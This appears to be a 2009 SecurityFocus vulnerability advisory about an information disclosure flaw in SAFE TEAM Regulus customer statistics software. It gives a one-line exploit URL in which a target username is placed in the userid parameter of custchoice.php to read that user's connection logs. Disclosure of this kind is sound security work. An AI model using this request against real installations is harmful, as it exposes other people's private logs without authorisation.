Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

SAFE TEAM Regulus Customer Statistics Information Disclosure Vulnerability

There is no exploit required; the following request is sufficient to exploit this vulnerability:

http://example.com/base-dir/htmlcust/custchoice.php?lang=English&userid=<name>&action=To see your connections logs

Where '<name>' is the target username.







 

Privacy Statement
Copyright 2009, SecurityFocus